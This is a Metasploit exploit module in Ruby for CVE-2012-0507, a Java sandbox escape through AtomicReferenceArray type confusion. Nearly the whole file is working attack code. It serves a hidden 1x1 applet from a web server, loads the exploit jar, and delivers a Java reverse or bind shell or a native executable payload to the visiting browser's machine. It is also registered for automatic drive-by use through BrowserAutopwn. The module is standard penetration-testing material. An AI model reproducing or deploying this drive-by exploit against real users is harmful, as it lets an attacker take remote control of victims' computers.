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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpServer::HTML
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  include Msf::Exploit::EXE
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  include Msf::Exploit::Remote::BrowserAutopwn
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  autopwn_info({ :javascript => false })
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  def initialize( info = {} )
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    super( update_info( info,
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      'Name'           => 'Java AtomicReferenceArray Type Violation Vulnerability',
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      'Description'    => %q{
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          This module exploits a vulnerability due to the fact that
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        AtomicReferenceArray uses the Unsafe class to store a reference in an
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        array directly, which may violate type safety if not used properly.
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        This allows a way to escape the JRE sandbox, and load additional classes
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        in order to perform malicious operations.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Jeroen Frijters', #Initial discovery according to his blog
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          'sinn3r',          # metasploit module
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          'juan vazquez',    # metasploit module
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          'egypt'            # added support for older java versions
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        ],
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      'References'     =>
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        [
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          ['CVE', '2012-0507'],
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          ['OSVDB', '80724'],
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          ['BID', '52161'],
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          ['URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=cd48169a-9405-4f63-9087-798c4a1866d3'],
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          ['URL', 'http://blogs.technet.com/b/mmpc/archive/2012/03/20/an-interesting-case-of-jre-sandbox-breach-cve-2012-0507.aspx'],
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          ['URL', 'http://schierlm.users.sourceforge.net/TypeConfusion.html'],
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          ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-0507'],
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          ['URL', 'https://www.rapid7.com/blog/post/2012/03/29/cve-2012-0507--java-strikes-again']
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        ],
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      'Platform'       => %w{ java linux osx solaris win },
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      'Payload'        => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
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      'Targets'        =>
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        [
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          [ 'Generic (Java Payload)',
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            {
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              'Platform' => ['java'],
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              'Arch' => ARCH_JAVA,
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            }
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          ],
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          [ 'Windows x86 (Native Payload)',
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            {
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              'Platform' => 'win',
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              'Arch' => ARCH_X86,
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            }
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          ],
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          [ 'Mac OS X PPC (Native Payload)',
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            {
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              'Platform' => 'osx',
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              'Arch' => ARCH_PPC,
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            }
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          ],
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          [ 'Mac OS X x86 (Native Payload)',
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            {
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              'Platform' => 'osx',
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              'Arch' => ARCH_X86,
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            }
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          ],
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          [ 'Linux x86 (Native Payload)',
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            {
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              'Platform' => 'linux',
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              'Arch' => ARCH_X86,
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            }
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          ],
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2012-02-14'
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      ))
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  end
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  def exploit
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    # load the static jar file
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    path = File.join( Msf::Config.data_directory, "exploits", "CVE-2012-0507.jar" )
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    fd = File.open( path, "rb" )
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    @jar_data = fd.read(fd.stat.size)
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    fd.close
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    super
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  end
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  def on_request_uri( cli, request )
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    data = ""
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    host = ""
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    port = ""
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    if not request.uri.match(/\.jar$/i)
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      if not request.uri.match(/\/$/)
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        send_redirect( cli, get_resource() + '/', '')
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        return
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      end
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      print_status("Sending #{self.name}")
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      payload = regenerate_payload( cli )
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      if not payload
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        print_error("Failed to generate the payload." )
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        return
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      end
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      if target.name == 'Generic (Java Payload)'
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        if datastore['LHOST']
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          jar  = payload.encoded
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          host = datastore['LHOST']
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          port = datastore['LPORT']
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          vprint_status("Sending java reverse shell")
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        else
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          port = datastore['LPORT']
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          host = cli.peerhost
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          vprint_status( "Java bind shell" )
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        end
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        if jar
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          print_status( "Generated jar to drop (#{jar.length} bytes)." )
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          jar = Rex::Text.to_hex( jar, prefix="" )
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        else
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          print_error("Failed to generate the executable." )
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          return
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        end
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      else
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        # NOTE: The EXE mixin automagically handles detection of arch/platform
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        data = generate_payload_exe
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        print_status("Generated executable to drop (#{data.length} bytes)." )
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        data = Rex::Text.to_hex( data, prefix="" )
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      end
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      send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )
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      return
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    end
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    print_status("Sending jar")
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    send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
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    handler( cli )
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  end
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  def generate_html( data, jar, host, port )
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    jar_name = rand_text_alpha(rand(6)+3) + ".jar"
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    html  = "<html><head></head>"
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    html += "<body>"
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    html += "<applet archive=\"#{jar_name}\" code=\"msf.x.Exploit.class\" width=\"1\" height=\"1\">"
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    html += "<param name=\"data\" value=\"#{data}\"/>" if data
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    html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
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    html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
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    html += "<param name=\"lport\" value=\"#{port}\"/>" if port
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    html += "</applet></body></html>"
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    return html
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  end
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  def generate_jar()
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    return @jar_data
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  end
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end
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